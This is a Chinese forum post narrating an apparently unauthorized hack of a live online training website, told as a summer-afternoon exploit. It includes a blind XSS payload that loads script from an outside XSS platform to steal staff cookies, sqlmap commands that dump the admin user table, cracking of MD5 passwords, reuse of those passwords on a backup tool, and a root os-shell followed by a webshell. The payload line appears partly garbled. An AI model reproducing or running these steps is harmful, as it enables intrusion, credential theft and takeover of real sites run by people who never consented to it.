一、起因
emmm,炎炎夏日到来,这么个桑拿天干什么好呢?
没错,一定要坐在家里,吹着空调,吃着西瓜,然后静静地挖洞。挖洞完叫个外卖,喝着啤酒,撸着烧烤,岂不美哉?然此可为智者道,难为俗人言也。。。正在我沉迷在对夏日的意淫之时,我亲爱的妈妈忽然给我来了一波夺命连环call。
大概内容如下:
--妈妈:儿~呀。。。你印布隐私(认不认识)搞公务员培训的机构,帮我在网上瞅瞅去,我有个朋友他儿想考公务员~
--我:(声音笑嘻嘻,心里mmp)哎呀,这个bia的天,搁家里睡觉行了。。别弄了。。
--妈妈:MLGB,叫你整,你就快点的,晚上给我回电话。
哎,父母之命不可违,悲伤的我只能放下手里的键盘和瓜皮,开始去百度上找培训机构。
百度上面找了好久,都没找到太合适的。问了问身边的朋友:朋友给了一家网校的报名地址
http://***.com/3g/***/2203947.htm
没错,还带免费试学。。。真的先进。。。。
然而作为一名做培训的职业小学生,怎么肯轻信这种网校的培训质量?于是打开爱站查了一波权重。。。
这尼玛???百度权6,emmm,有点意思。见到这么高权重的站,那时我已饥渴难耐,便决定对此站点来一波渗透测试。
二、XSS盲打?安排一下
看到这里,小伙伴们肯定想。。。emm,是不是可以XSS打一下试试呢?(所谓盲打说白了就是在不知道输入的信息在后台的输出位置的情况下使用XSS利用代码进行渗透测试) 说干咱就干。。。接下来就插入xss payload试试吧。。。
Payload: </textarea><script src="http://img.studyofnet.com="http://xsspt.com/z6ocdy?1531815744"></script>
将payload完整黏贴进去,如图发现仅有</tex 这四个字符
审查元素看下,在表单处理上设置了maxlength,直接审查元素大法改掉就好了
把maxlength编辑为999
然后我们的XSS Payload就可以正常地全部输入到表单中了
手机那个文本框,我随便填了11位数字,然后点击提交,万幸的的是提交成功了(后端没对内容进行验证)
过了大概1个小时,突然XSS平台的邮件来了,兴奋ing。。。(客服是真的敬业)
拿着cookie,傻啦吧唧地就是进入后台一波浏览,发现权限非常小,基本上只能处理处理客服工作
不过可以查看后台的管理员账号。。。。。(果然是个大站,后台分工权限这么讲究。。。)
看着这么多的超级管理员账号,而我却只是个吊毛客服,基本上没什么权限,心里真的难受的一批。。
难道我们的渗透到这里就要结束??不可能,这显然不符合本屌的风格。。。
于是我又仔细地翻了翻后台,看看有没有地方可以来一波骚操作。。。
三、后台SQL注入?讲究
大家可以看到我们的客服处理界面是可以进行查询的,查询的过程是通过GET方式传导一个mobile参数实现查询
我们直接测试一下SQL注入的Payload,看看是否存在注入。发现页面没有返回信息,那么就很有可能存在SQL注入。
我们使用BurpSuite来抓取本出的的HTTP请求,然后保存在C:\Users\Samsung 700Z5C\Desktop\1.txt中
接下来到了以小勃大,紧张刺激的时刻,使用SQLMAP的 -r参数,注入本HTTP请求
命令为sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt
wow,wow~注入成功了。哈哈哈。。。。我们开始直奔管理员的表
命令为sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt --tables -D "nd_net" //列出nd_net数据库的表
然后执行
sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt --columns -T "net_admin_user" -D "nd_net" //列出net_admin_user表的字段
最后执行命令
sqlmap.py -r "I:\T00l\1.txt" --dump -C "id,nd_user,userid,nd_pass" -T "net_admin_user" -D "nd_net" --threads=10
//导出net_admin_user表中id,nd_user,userid,nd_pass几个字段的数据
全部是md5加密,拿到cmd5,一波解密,成功获取到所有管理员的账号密码,然后成功登陆以管理员的权限登陆后台
哈哈,讲究!
四、不拿Shell,与咸鱼有什么区别?
emm,就算是管理员的权限。我发现可以利用的地方依然很少,只有一些静态页面的编辑权限(而且编辑器是KindEditor,没什么方法上传拿Shell),我当时十分绝望。。。但是我发现了这个——数据库备份
点击后,跳转到一款叫做“帝国备份王”的程序
随后,我便去该程序的官网,下载了一个帮助文档。使用默认用户admin/123456进行登陆,但是以失败告终。
但我怎末可能放弃,我一个一个测试了之前后台SQL注入得到的密码(有验证码,没法爆破的),最终在一个密码上成功地登陆了。。。我靠,高兴死我。。。。。。。。
发现了一个PHP探针
再掏出SQLMAP,直接使用命令 sqlmap -r C:\Users\Samsung 700Z5C\Desktop\1.txt --os-shell //获取shell
输入我们通过探针得到的路径,很幸运,ROOT权限直接os-shell成功。直接上一句话,GetShell完美结束
五、总结
本次渗透测试,虽然没有骚操作,但是总体来说用到了许多知识,现进行总结
1.XSS盲打技术
2.SQLMAP注入HTTP响应包的语法
3.人性的弱点分析(多个程序用同一个管理密码)
4.从获取绝对路径到SQLMAP获取shell
5.审查元素小技巧
六、一点想法
虽然说每次写这种文章都有点疲惫,但是想到能与大家分享技术,共同进步,心里总有一团火焰在燃烧,感谢那些陪着我走过这么多路的朋友,让我拥有了这样永不磨灭的激情
本人也是一个小菜,文章如果有问题,欢迎大家及时指正!
本文作者:J0o1ey,转载自:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42989
,